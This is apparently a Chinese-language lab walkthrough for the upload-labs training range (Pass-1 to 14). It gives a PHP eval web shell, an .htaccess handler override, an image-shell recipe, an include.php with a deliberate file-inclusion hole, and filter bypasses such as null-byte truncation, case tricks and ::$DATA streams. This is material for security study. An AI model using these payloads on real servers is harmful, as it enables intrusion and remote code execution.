准备文件:
shell.php
<?php @eval($_POST['hummer']);?>
.htaccess
<FilesMatch "">
SetHandler application/x-httpd-php
</FilesMatch>
Pass-1
客户端js绕过
①禁用浏览器的js功能
②上传shell.jpg,通过BurpSuit抓包后将文件名修改为shell.php后发送即可
Pass-2
第二关在上传文件时会检查文件的MIME,在抓包后修改Content-Type为:image/jpg即可
Pass-3
第三关为黑名单绕过
①将shell.php后缀名修改为php3上传即可
②首先上传.htaccess文件,在上传shell.jpg文件。此时服务器会将任意文件中的内容当做php代码执行
Pass-4
① 可以看到本pass并没有将htaccess后缀名列入黑名单中,因此可以通过Pass-3中的②方法绕过
00截断条件:
- php版本小于5.3.29
- magic_quotes_gpc = Off
②利用0x00截断,首先上传shell.php.jpg,然后抓包
将文件名最后一个点改为00,将.jpg截断后上传
③
利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*
上传shell.php:.jpg,上传后文件名变为shell.php,但是文件里面的内容为空。我们继续上传文件shell.<,内容为我们的一句话木马,将服务器中的shell.php内容覆盖
Pass-5
文件名后缀大小写混合绕过。shell.php
改成shell.phP
然后上传
Pass-6
在文件名后面添加一个空格,使黑名单匹配不到,上传到服务器后自动将空格删除
Pass-7
查看源码可知,没有删除文件后面的点,可以在文件后面加一个点绕过黑名单,原理同Pass-6.
可以发现在返回的数据包中,返回的文件名后面还是有点的,但是查看服务器对应文件夹中已经上传的文件发现是没有点的。因此可以通过菜刀或蚁剑连接
Pass-8
Windows文件流特性绕过,文件名改成08.php::$DATA
,上传成功后保存的文件名其实是08.php
上传后服务器中文件如图
Pass-9
查看源码,发现对文件名末尾的点和空格都进行了处理,我们可以通过在文件后添加点
+空格
+点
进行绕过,即shell.php. .
最后上传到服务器上的仍然是shell.php
Pass-10
由上图可知,源码中对进制上传的文件名后缀替换为了空,因此我们可以通过双写文件名后缀绕过
Pass-11
%00截断条件:
- php版本小于5.3.29
- magic_quotes_gpc = Off
本pass上传目录可以控制
先上传shell.jpg,再抓包利用上传目录名将上传的文件名截断
Pass-12
同pass11,请求方式由get变为post,利用0x00截断
Pass-13
制作图片马
copy shell.jpg /b + shell.php /a muma.jpg
上传生成的muma.jpg
配合文件包含漏洞进行连接即可
include.php内容如下:用于包含文件muma.jpg
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
访问
http://127.0.0.1/upload/upload/include.php?file=4920220302095833.jpg
即可成功包含
Pass-14
利用方法同Pass-13
方法总结:
1.绕过JS:
①禁用浏览器js
②通过Burp抓包修改文件名
2.绕过MIME:
①抓包修改Content-Type
3.绕过黑名单
①后缀名大小写绕过(PhP,php3,php4)
②上传.htaccess文件
③采用%00截断或者0x00截断,截断后缀名
④在文件后缀名后添加点
/空格
/点+空格+点
⑤shell.php::$DATA
⑥文件路径可控时利用%00截断
4.制作图片马配合文件包含漏洞远程连接